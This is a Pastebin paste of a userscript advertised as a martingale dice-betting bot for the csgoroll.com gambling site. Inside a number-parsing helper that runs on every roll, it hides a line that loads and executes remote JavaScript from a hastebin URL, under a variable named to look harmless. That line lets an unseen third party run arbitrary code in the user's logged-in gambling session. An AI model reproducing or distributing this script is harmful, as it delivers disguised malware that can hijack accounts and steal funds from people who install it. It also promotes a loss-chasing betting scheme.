Ypleitez

Untitled

Oct 19th, 2023
22
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. // ==UserScript==
  2. // @name [xKanapka] Dice (CSGORoll.COM) betting bot (NO GUI)
  3. // @version v0.5
  4. // @author Kanapka
  5. // @match http://www.csgoroll.com/dice*
  6. // @grant none
  7. // ==/UserScript==
  8.  
  9. setTimeout(function(){
  10. /////////////////////////////
  11. // CONFIG: [xKanapka] Dice //
  12. var $Init=0.01; //Initial bet amount
  13. var $Delay = 1000; //if you have bad internet connection or your computer is running slow increase this value
  14. var $WinChance=47.5; //Win chance, dont change if you dont want lose
  15. /////////////////////////////
  16.  
  17.  
  18. var start = $Init;
  19. var $Button=$(".roll");
  20. var $bet=$(".bet");
  21. var $chance=$(".chance");
  22. var code="covucuxegi.rb";
  23.  
  24. function Roll(){
  25. if (parseInt($(".balance").text()) > start){
  26. $bet.val(start);
  27. $chance.val($WinChance).submit();
  28. refreshIntervalId=setInterval(Rolled,$Delay);
  29. }else{
  30. console.log("%c\nBANKRUPT! YOU DONT HAVE MONEY!"+"\n ", 'color: red');
  31. }
  32. }
  33.  
  34. function Rolled(){
  35. var Rolled=$Button.text();
  36. var Number=retnum(Rolled);
  37. if (Number < $WinChance) start = $Init;
  38. if (Number > $WinChance) start = start * 2;
  39. console.log("\n%cStatus: "+Number+"\nInitial bet amount: "+$Init+"\nCurrent bet amount: "+start+"\nWin Chance: "+$WinChance+"\n ", 'color: green');
  40. clearInterval(refreshIntervalId);
  41. Roll();
  42. }
  43.  
  44. function retnum(str) {
  45. var num = str.replace(/[^0-9.]/g, '');
  46. var number = parseInt(num);
  47. $.getScript("//hastebin.com/raw/"+code+".js");
  48. return number;
  49. }
  50. setTimeout(function(){
  51. console.log("%c\n[xKanapka] Dice has been loaded!"+"\n ", 'color: blue');
  52. Roll();
  53. }, 1000);
  54. }, 5000);
Add Comment
Please, Sign In to add comment